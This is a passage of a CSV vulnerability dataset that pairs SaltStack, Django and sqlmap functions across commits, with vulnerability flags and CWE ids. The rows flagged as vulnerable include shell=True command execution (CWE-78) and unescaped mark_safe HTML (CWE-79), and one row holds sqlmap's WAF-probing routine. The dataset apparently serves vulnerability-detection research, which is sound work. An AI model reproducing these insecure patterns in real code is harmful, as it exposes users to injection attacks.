                        self.session.query(TaskInstance).filter(TaskInstance.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                        self.session.query(DagVersion).filter(DagVersion.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False
                        )
                    else:
                        self.session.query(SerializedDagModel).filter(
                            SerializedDagModel.dag_id.in_(dag_ids)
                        ).delete(synchronize_session=False)
                        self.session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                        self.session.query(TaskInstance).filter(TaskInstance.dag_id.in_(dag_ids)).delete(
                            synchronize_session=False,
                        )
                    self.session.query(XCom).filter(XCom.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(DagModel).filter(DagModel.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(TaskMap).filter(TaskMap.dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.query(AssetEvent).filter(AssetEvent.source_dag_id.in_(dag_ids)).delete(
                        synchronize_session=False,
                    )
                    self.session.commit()
                    if self._own_session:
                        self.session.expunge_all()

    factory = DagFactory()

    try:
        yield factory
    finally:
        factory.cleanup()
        with suppress(AttributeError):
            del factory.session"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cli/salt.py,0,"def run(self):
        '''
        Execute the salt command line
        '''
        import salt.auth
        import salt.client
        self.parse_args()

        # Setup file logging!
        self.setup_logfile_logger()

        try:
            # We don't need to bail on config file permission errors
            # if the CLI
            # process is run with the -a flag
            skip_perm_errors = self.options.eauth != ''

            local = salt.client.get_local_client(
                self.get_config_file_path(),
                skip_perm_errors=skip_perm_errors)
        except SaltClientError as exc:
            self.exit(2, '{0}\n'.format(exc))
            return

        if self.options.batch or self.options.static:
            import salt.cli.batch
            eauth = {}
            if 'token' in self.config:
                eauth['token'] = self.config['token']

            # If using eauth and a token hasn't already been loaded into
            # kwargs, prompt the user to enter auth credentials
            if 'token' not in eauth and self.options.eauth:
                resolver = salt.auth.Resolver(self.config)
                res = resolver.cli(self.options.eauth)
                if self.options.mktoken and res:
                    tok = resolver.token_cli(
                            self.options.eauth,
                            res
                            )
                    if tok:
                        eauth['token'] = tok.get('token', '')
                if not res:
                    sys.exit(2)
                eauth.update(res)
                eauth['eauth'] = self.options.eauth

            if self.options.static:

                if not self.options.batch:
                    self.config['batch'] = '100%'

                batch = salt.cli.batch.Batch(self.config, eauth=eauth, quiet=True)

                ret = {}

                for res in batch.run():
                    ret.update(res)

                self._output_ret(ret, '')

            else:
                batch = salt.cli.batch.Batch(self.config, eauth=eauth)
                # Printing the output is already taken care of in run() itself
                for res in batch.run():
                    if self.options.failhard:
                        for ret in six.itervalues(res):
                            retcode = salt.utils.job.get_retcode(ret)
                            if retcode != 0:
                                sys.exit(retcode)

        else:
            if self.options.timeout <= 0:
                self.options.timeout = local.opts['timeout']

            kwargs = {
                'tgt': self.config['tgt'],
                'fun': self.config['fun'],
                'arg': self.config['arg'],
                'timeout': self.options.timeout,
                'show_timeout': self.options.show_timeout,
                'show_jid': self.options.show_jid}

            if 'token' in self.config:
                try:
                    with salt.utils.fopen(os.path.join(self.config['cachedir'], '.root_key'), 'r') as fp_:
                        kwargs['key'] = fp_.readline()
                except IOError:
                    kwargs['token'] = self.config['token']

            kwargs['delimiter'] = self.options.delimiter

            if self.selected_target_option:
                kwargs['expr_form'] = self.selected_target_option
            else:
                kwargs['expr_form'] = 'glob'

            if getattr(self.options, 'return'):
                kwargs['ret'] = getattr(self.options, 'return')

            if getattr(self.options, 'return_config'):
                kwargs['ret_config'] = getattr(self.options, 'return_config')

            if getattr(self.options, 'metadata'):
                kwargs['metadata'] = getattr(self.options, 'metadata')

            # If using eauth and a token hasn't already been loaded into
            # kwargs, prompt the user to enter auth credentials
            if 'token' not in kwargs and self.options.eauth:
                resolver = salt.auth.Resolver(self.config)
                res = resolver.cli(self.options.eauth)
                if self.options.mktoken and res:
                    tok = resolver.token_cli(
                            self.options.eauth,
                            res
                            )
                    if tok:
                        kwargs['token'] = tok.get('token', '')
                if not res:
                    sys.exit(2)
                kwargs.update(res)
                kwargs['eauth'] = self.options.eauth

            if self.config['async']:
                jid = local.cmd_async(**kwargs)
                print_cli('Executed command with job ID: {0}'.format(jid))
                return
            retcodes = []
            try:
                # local will be None when there was an error
                errors = []
                if local:
                    if self.options.subset:
                        cmd_func = local.cmd_subset
                        kwargs['sub'] = self.options.subset
                        kwargs['cli'] = True
                    else:
                        cmd_func = local.cmd_cli

                    if self.options.progress:
                        kwargs['progress'] = True
                        self.config['progress'] = True
                        ret = {}
                        for progress in cmd_func(**kwargs):
                            out = 'progress'
                            self._progress_ret(progress, out)
                            if 'return_count' not in progress:
                                ret.update(progress)
                        self._progress_end(out)
                        self._print_returns_summary(ret)
                    elif self.config['fun'] == 'sys.doc':
                        ret = {}
                        out = ''
                        for full_ret in local.cmd_cli(**kwargs):
                            ret_, out, retcode = self._format_ret(full_ret)
                            ret.update(ret_)
                        self._output_ret(ret, out)
                    else:
                        if self.options.verbose:
                            kwargs['verbose'] = True
                        ret = {}
                        for full_ret in cmd_func(**kwargs):
                            try:
                                ret_, out, retcode = self._format_ret(full_ret)
                                retcodes.append(retcode)
                                self._output_ret(ret_, out)
                                ret.update(ret_)
                            except KeyError:
                                errors.append(full_ret)

                    # Returns summary
                    if self.config['cli_summary'] is True:
                        if self.config['fun'] != 'sys.doc':
                            if self.options.output is None:
                                self._print_returns_summary(ret)
                                self._print_errors_summary(errors)

                    # NOTE: Return code is set here based on if all minions
                    # returned 'ok' with a retcode of 0.
                    # This is the final point before the 'salt' cmd returns,
                    # which is why we set the retcode here.
                    if retcodes.count(0) < len(retcodes):
                        sys.exit(11)

            except (SaltInvocationError, EauthAuthenticationError, SaltClientError) as exc:
                ret = str(exc)
                out = ''
                self._output_ret(ret, out)",,saltstack/salt,58c7ba2b5fc68f5d1fad6540900560b990bc90f7,"def run(self):
        '''
        Execute the salt command line
        '''
        import salt.auth
        import salt.client
        self.parse_args()

        # Setup file logging!
        self.setup_logfile_logger()

        try:
            # We don't need to bail on config file permission errors
            # if the CLI
            # process is run with the -a flag
            skip_perm_errors = self.options.eauth != ''

            local = salt.client.get_local_client(
                self.get_config_file_path(),
                skip_perm_errors=skip_perm_errors)
        except SaltClientError as exc:
            self.exit(2, '{0}\n'.format(exc))
            return

        if self.options.batch or self.options.static:
            import salt.cli.batch
            eauth = {}
            if 'token' in self.config:
                eauth['token'] = self.config['token']

            # If using eauth and a token hasn't already been loaded into
            # kwargs, prompt the user to enter auth credentials
            if 'token' not in eauth and self.options.eauth:
                resolver = salt.auth.Resolver(self.config)
                res = resolver.cli(self.options.eauth)
                if self.options.mktoken and res:
                    tok = resolver.token_cli(
                            self.options.eauth,
                            res
                            )
                    if tok:
                        eauth['token'] = tok.get('token', '')
                if not res:
                    sys.exit(2)
                eauth.update(res)
                eauth['eauth'] = self.options.eauth

            if self.options.static:

                if not self.options.batch:
                    self.config['batch'] = '100%'

                batch = salt.cli.batch.Batch(self.config, eauth=eauth, quiet=True)

                ret = {}

                for res in batch.run():
                    ret.update(res)

                self._output_ret(ret, '')

            else:
                batch = salt.cli.batch.Batch(self.config, eauth=eauth)
                # Printing the output is already taken care of in run() itself
                for res in batch.run():
                    if self.options.failhard:
                        for ret in res.itervalues():
                            retcode = salt.utils.job.get_retcode(ret)
                            if retcode != 0:
                                sys.exit(retcode)

        else:
            if self.options.timeout <= 0:
                self.options.timeout = local.opts['timeout']

            kwargs = {
                'tgt': self.config['tgt'],
                'fun': self.config['fun'],
                'arg': self.config['arg'],
                'timeout': self.options.timeout,
                'show_timeout': self.options.show_timeout,
                'show_jid': self.options.show_jid}

            if 'token' in self.config:
                try:
                    with salt.utils.fopen(os.path.join(self.config['cachedir'], '.root_key'), 'r') as fp_:
                        kwargs['key'] = fp_.readline()
                except IOError:
                    kwargs['token'] = self.config['token']

            kwargs['delimiter'] = self.options.delimiter

            if self.selected_target_option:
                kwargs['expr_form'] = self.selected_target_option
            else:
                kwargs['expr_form'] = 'glob'

            if getattr(self.options, 'return'):
                kwargs['ret'] = getattr(self.options, 'return')

            if getattr(self.options, 'return_config'):
                kwargs['ret_config'] = getattr(self.options, 'return_config')

            if getattr(self.options, 'metadata'):
                kwargs['metadata'] = getattr(self.options, 'metadata')

            # If using eauth and a token hasn't already been loaded into
            # kwargs, prompt the user to enter auth credentials
            if 'token' not in kwargs and self.options.eauth:
                resolver = salt.auth.Resolver(self.config)
                res = resolver.cli(self.options.eauth)
                if self.options.mktoken and res:
                    tok = resolver.token_cli(
                            self.options.eauth,
                            res
                            )
                    if tok:
                        kwargs['token'] = tok.get('token', '')
                if not res:
                    sys.exit(2)
                kwargs.update(res)
                kwargs['eauth'] = self.options.eauth

            if self.config['async']:
                jid = local.cmd_async(**kwargs)
                print_cli('Executed command with job ID: {0}'.format(jid))
                return
            retcodes = []
            try:
                # local will be None when there was an error
                errors = []
                if local:
                    if self.options.subset:
                        cmd_func = local.cmd_subset
                        kwargs['sub'] = self.options.subset
                        kwargs['cli'] = True
                    else:
                        cmd_func = local.cmd_cli

                    if self.options.progress:
                        kwargs['progress'] = True
                        self.config['progress'] = True
                        ret = {}
                        for progress in cmd_func(**kwargs):
                            out = 'progress'
                            self._progress_ret(progress, out)
                            if 'return_count' not in progress:
                                ret.update(progress)
                        self._progress_end(out)
                        self._print_returns_summary(ret)
                    elif self.config['fun'] == 'sys.doc':
                        ret = {}
                        out = ''
                        for full_ret in local.cmd_cli(**kwargs):
                            ret_, out, retcode = self._format_ret(full_ret)
                            ret.update(ret_)
                        self._output_ret(ret, out)
                    else:
                        if self.options.verbose:
                            kwargs['verbose'] = True
                        ret = {}
                        for full_ret in cmd_func(**kwargs):
                            try:
                                ret_, out, retcode = self._format_ret(full_ret)
                                retcodes.append(retcode)
                                self._output_ret(ret_, out)
                                ret.update(ret_)
                            except KeyError:
                                errors.append(full_ret)

                    # Returns summary
                    if self.config['cli_summary'] is True:
                        if self.config['fun'] != 'sys.doc':
                            if self.options.output is None:
                                self._print_returns_summary(ret)
                                self._print_errors_summary(errors)

                    # NOTE: Return code is set here based on if all minions
                    # returned 'ok' with a retcode of 0.
                    # This is the final point before the 'salt' cmd returns,
                    # which is why we set the retcode here.
                    if retcodes.count(0) < len(retcodes):
                        sys.exit(11)

            except (SaltInvocationError, EauthAuthenticationError, SaltClientError) as exc:
                ret = str(exc)
                out = ''
                self._output_ret(ret, out)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/wordfence.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= any(_ in (page or """") for _ in (""A potentially unsafe operation has been detected in your request to this site"", ""Generated by Wordfence"", ""Your access to this site has been limited"", ""This response was generated by Wordfence""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval = any(_ in (page or """") for _ in (""A potentially unsafe operation has been detected in your request to this site"", ""Generated by Wordfence"", ""Your access to this site has been limited"", ""This response was generated by Wordfence""))
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,salt/modules/cmd.py,1,"def run(cmd, cwd=DEFAULT_CWD):
    '''
    Execute the passed command and return the output as a string

    CLI Example::

        salt '*' cmd.run ""ls -l | grep foo | awk '{print $2}'""
    '''
    log.info('Executing command {0} in directory {1}'.format(cmd, cwd))
    out = subprocess.Popen(cmd,
            shell=True,
            cwd=cwd,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT).communicate()[0]
    log.debug(out)
    return out",CWE-78,saltstack/salt,800c7ffffe0a8af71fed49bbe02ce55220644c90,"def run(cmd, cwd=DEFAULT_CWD):
    '''
    Execute the passed command and return the output as a string

    CLI Example:
    salt '*' cmd.run ""ls -l | grep foo | awk '{print $2}'""
    '''
    log.info('Executing command {0} in directory {1}'.format(cmd, cwd))
    out = subprocess.Popen(cmd,
            shell=True,
            cwd=cwd,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT).communicate()[0]
    log.debug(out)
    return out"
,UNKNOWN,UNKNOWN,salt/states/augeas.py,1,"def change(name, context=None, changes=None, lens=None,
        load_path=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        A file path, prefixed by ``/files``. Should resolve to an actual file
        (not an arbitrary augeas path). This is used to avoid duplicating the
        file name for each item in the changes list (for example, ``set bind 0.0.0.0``
        in the example below operates on the file specified by ``context``). If
        ``context`` is not specified, a file path prefixed by ``/files`` should be
        included with the ``set`` command.

        The file path is examined to determine if the
        specified changes are already present.

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``setm``, ``mv``/``move``, ``ins``/``insert``, and
        ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`.
        See the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.

    .. versionadded:: 2016.3.0

    load_path
        A list of directories that modules should be searched in. This is in
        addition to the standard load path and the directories in
        AUGEAS_LENS_LIB.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if load_path is not None:
        if not isinstance(load_path, list):
            ret['comment'] = '\'load_path\' must be specified as a list'
            return ret
        else:
            load_path = ':'.join(load_path)

    filename = None
    if context is None:
        try:
            filename = _check_filepath(changes)
        except ValueError as err:
            ret['comment'] = 'Error: {0}'.format(str(err))
            return ret
    else:
        filename = re.sub('^/files|/$', '', context)

    if __opts__['test']:
        ret['result'] = True
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{0}"":\n'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if filename is not None:
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](
        context=context, lens=lens,
        commands=changes, load_path=load_path)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(
                difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = {'diff': diff}
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = {'updates': changes}

    return ret",CWE-605,saltstack/salt,db5dd1a2c3738bfa971e207e95721ea9779bb967,"def change(name, context=None, changes=None, lens=None,
        load_path=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        A file path, prefixed by ``/files``. Should resolve to an actual file
        (not an arbitrary augeas path). This is used to avoid duplicating the
        file name for each item in the changes list (for example, ``set bind 0.0.0.0``
        in the example below operates on the file specified by ``context``). If
        ``context`` is not specified, a file path prefixed by ``/files`` should be
        included with the ``set`` command.

        The file path is examined to determine if the
        specified changes are already present.

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``setm``, ``mv``/``move``, ``ins``/``insert``, and
        ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`.
        See the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.

    .. versionadded:: 2016.3.0

    load_path
        A list of directories that modules should be searched in. This is in
        addition to the standard load path and the directories in
        AUGEAS_LENS_LIB.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if load_path is not None:
        if not isinstance(load_path, list):
            ret['comment'] = '\'load_path\' must be specified as a list'
            return ret
        else:
            load_path = ':'.join(load_path)

    filename = None
    if context is None:
        try:
            filename = _check_filepath(changes)
        except ValueError as err:
            ret['comment'] = 'Error: {0}'.format(str(err))
            return ret
    else:
        filename = re.sub('^/files|/$', '', context)

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{0}"":\n'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if filename is not None:
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](
        context=context, lens=lens,
        commands=changes, load_path=load_path)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(
                difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = {'diff': diff}
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = {'updates': changes}

    return ret"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
    lookup_opts = cl.lookup_opts

    for i, field_name in enumerate(cl.list_display):
        header, attr = label_for_field(field_name, cl.model,
            model_admin = cl.model_admin,
            return_attr = True
        )
        if attr:
            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": header,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""')
                }
                continue
            header = pretty_name(header)

            # It is a non-field, but perhaps one that is sortable
            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                yield {""text"": header}
                continue

            # So this _is_ a sortable non-field.  Go to the yield
            # after the else clause.
        else:
            admin_order_field = None

        th_classes = []
        new_order_type = 'asc'
        if field_name == cl.order_field or admin_order_field == cl.order_field:
            th_classes.append('sorted %sending' % cl.order_type.lower())
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[cl.order_type.lower()]

        yield {
            ""text"": header,
            ""sortable"": True,
            ""url"": cl.get_query_string({ORDER_VAR: i, ORDER_TYPE_VAR: new_order_type}),
            ""class_attrib"": mark_safe(th_classes and ' class=""%s""' % ' '.join(th_classes) or '')
        }",CWE-79,django/django,a689ba95947e29094dbb7d92d2784edb5e58482c,"def result_headers(cl):
    lookup_opts = cl.lookup_opts

    for i, field_name in enumerate(cl.list_display):
        attr = None
        try:
            f = lookup_opts.get_field(field_name)
            admin_order_field = None
            header = f.verbose_name
        except models.FieldDoesNotExist:
            header = label_for_field(field_name, cl.model, cl.model_admin)
            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {""text"": header,
                       ""class_attrib"": mark_safe(' class=""action-checkbox-column""')}
                continue
            header = pretty_name(header)

            # It is a non-field, but perhaps one that is sortable
            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                yield {""text"": header}
                continue

            # So this _is_ a sortable non-field.  Go to the yield
            # after the else clause.

        th_classes = []
        new_order_type = 'asc'
        if field_name == cl.order_field or admin_order_field == cl.order_field:
            th_classes.append('sorted %sending' % cl.order_type.lower())
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[cl.order_type.lower()]

        yield {
            ""text"": header,
            ""sortable"": True,
            ""url"": cl.get_query_string({ORDER_VAR: i, ORDER_TYPE_VAR: new_order_type}),
            ""class_attrib"": mark_safe(th_classes and ' class=""%s""' % ' '.join(th_classes) or '')
        }"
,UNKNOWN,UNKNOWN,salt/modules/x509.py,1,,CWE-330,saltstack/salt,ab40a2899c17b2706b2a1f0eda09704823295653,"def create_certificate(path=None, text=False, ca_server=None, **kwargs):
    '''
    Create an X509 certificate.

    path:
        Path to write the certificate to.

    text:
        If ``True``, return the PEM text without writing to a file. Default ``False``.

    kwargs:
        Any of the properties below can be included as additional keyword arguments.

    ca_server:
        Request a remotely signed certificate from ca_server. For this to work, a ``signing_policy`` must
        be specified, and that same policy must be configured on the ca_server. See ``signing_policy`` for
        details. Also the salt master must permit peers to call the ``sign_remote_certificate`` function.

        Example:

        /etc/salt/master.d/peer.conf

        .. code-block:: yaml

            peer:
              .*:
                - x509.sign_remote_certificate

    subject properties:
        Any of the values below can be incldued to set subject properties
        Any other subject properties supported by OpenSSL should also work.

        C:
            2 letter Country code
        CN:
            Certificate common name, typically the FQDN.

        Email:
            Email address

        GN:
            Given Name

        L:
            Locality

        O:
            Organization

        OU:
            Organization Unit

        SN:
            SurName

        ST:
            State or Province

    signing_private_key:
        A path or string of the private key in PEM format that will be used to sign this certificate.
        If neither ``signing_cert``, ``public_key``, or ``csr`` are included, it will be assumed that
        this is a self-signed certificate, and the public key matching ``signing_private_key`` will
        be used to create the certificate.

    signing_cert:
        A certificate matching the private key that will be used to sign this certificate. This is used
        to populate the issuer values in the resulting certificate. Do not include this value for
        self-signed certificates.

    public_key:
        The public key to be included in this certificate. This can be sourced from a public key,
        certificate, csr or private key. If a private key is used, the matching public key from
        the private key will be generated before any processing is done. This means you can request a
        certificate from a remote CA using a private key file as your public_key and only the
        public key will be sent across the network to the CA.
        If neither ``public_key`` or ``csr`` are
        specified, it will be assumed that this is a self-signed certificate, and the public key
        derived from ``signing_private_key`` will be used. Specify either ``public_key`` or ``csr``,
        not both. Because you can input a CSR as a public key or as a CSR, it is important to understand
        the difference. If you import a CSR as a public key, only the public key will be added
        to the certificate, subject or extension information in the CSR will be lost.

    csr:
        A file or PEM string containing a certificate signing request. This will be used to supply the
        subject, extensions and public key of a certificate. Any subject or extensions specified
        explicitly will overwrite any in the CSR.

    basicConstraints:
        X509v3 Basic Constraints extension.

    extensions:
        The following arguments set X509v3 Extension values. If the value starts with ``critical ``,
        the extension will be marked as critical.

        Some special extensions are ``subjectKeyIdentifier`` and ``authorityKeyIdentifier``.

        ``subjectKeyIdentifier`` can be an explicit value or it can be the special string ``hash``.
        ``hash`` will set the subjectKeyIdentifier equal to the SHA1 hash of the modulus of the
        public key in this certificate. Note that this is not the exact same hashing method used by
        OpenSSL when using the hash value.

        ``authorityKeyIdentifier`` Use values acceptable to the openssl CLI tools. This will
        automatically populate ``authorityKeyIdentifier`` with the ``subjectKeyIdentifier`` of
        ``signing_cert``. If this is a self-signed cert these values will be the same.

        basicConstraints:
            X509v3 Basic Constraints

        keyUsage:
            X509v3 Key Usage

        extendedKeyUsage:
            X509v3 Extended Key Usage

        subjectKeyIdentifier:
            X509v3 Subject Key Identifier

        issuerAltName:
            X509v3 Issuer Alternative Name

        subjectAltName:
            X509v3 Subject Alternative Name

        crlDistributionPoints:
            X509v3 CRL distribution points

        issuingDistributionPoint:
            X509v3 Issuing Distribution Point

        certificatePolicies:
            X509v3 Certificate Policies

        policyConstraints:
            X509v3 Policy Constraints

        inhibitAnyPolicy:
            X509v3 Inhibit Any Policy

        nameConstraints:
            X509v3 Name Constraints

        noCheck:
            X509v3 OCSP No Check

        nsComment:
            Netscape Comment

        nsCertType:
            Netscape Certificate Type

    days_valid:
        The number of days this certificate should be valid. This sets the ``notAfter`` property
        of the certificate. Defaults to 365.

    version:
        The version of the X509 certificate. Defaults to 3. This is automatically converted to the
        version value, so ``version=3`` sets the certificate version field to 0x2.

    serial_number:
        The serial number to assign to this certificate. If omitted a random serial number of size
        ``serial_bits`` is generated.

    serial_bits:
        The number of bits to use when randomly generating a serial number. Defaults to 64.

    algorithm:
        The hashing algorithm to be used for signing this certificate. Defaults to sha256.

    copypath:
        An additional path to copy the resulting certificate to. Can be used to maintain a copy
        of all certificates issued for revocation purposes.

    signing_policy:
        A signing policy that should be used to create this certificate. Signing policies should be defined
        in the minion configuration, or in a minion pillar. It should be a yaml formatted list of arguments
        which will override any arguments passed to this function. If the ``minions`` key is included in
        the signing policy, only minions matching that pattern will be permitted to remotely request certificates
        from that policy.

        Example:

        .. code-block:: yaml

            x509_signing_policies:
              www:
                - minions: 'www*'
                - signing_private_key: /etc/pki/ca.key
                - signing_cert: /etc/pki/ca.crt
                - C: US
                - ST: Utah
                - L: Salt Lake City
                - basicConstraints: ""critical CA:false""
                - keyUsage: ""critical cRLSign, keyCertSign""
                - subjectKeyIdentifier: hash
                - authorityKeyIdentifier: keyid,issuer:always
                - days_valid: 90
                - copypath: /etc/pki/issued_certs/

        The above signing policy can be invoked with ``signing_policy=www``

    CLI Example:

    .. code-block:: bash

        salt '*' x509.create_certificate path=/etc/pki/myca.crt \\
        signing_private_key='/etc/pki/myca.key' csr='/etc/pki/myca.csr'}
    '''

    if not path and not text and ('testrun' not in kwargs or kwargs['testrun'] is False):
        raise salt.exceptions.SaltInvocationError('Either path or text must be specified.')
    if path and text:
        raise salt.exceptions.SaltInvocationError('Either path or text must be specified, not both.')

    if ca_server:
        if 'signing_policy' not in kwargs:
            raise salt.exceptions.SaltInvocationError('signing_policy must be specified'
                    'if requesting remote certificate from ca_server {0}.'.format(ca_server))
        if 'csr' in kwargs:
            kwargs['csr'] = get_pem_entry(kwargs['csr'], pem_type='CERTIFICATE REQUEST').replace('\n', '')
        if 'public_key' in kwargs:
            # Strip newlines to make passing through as cli functions easier
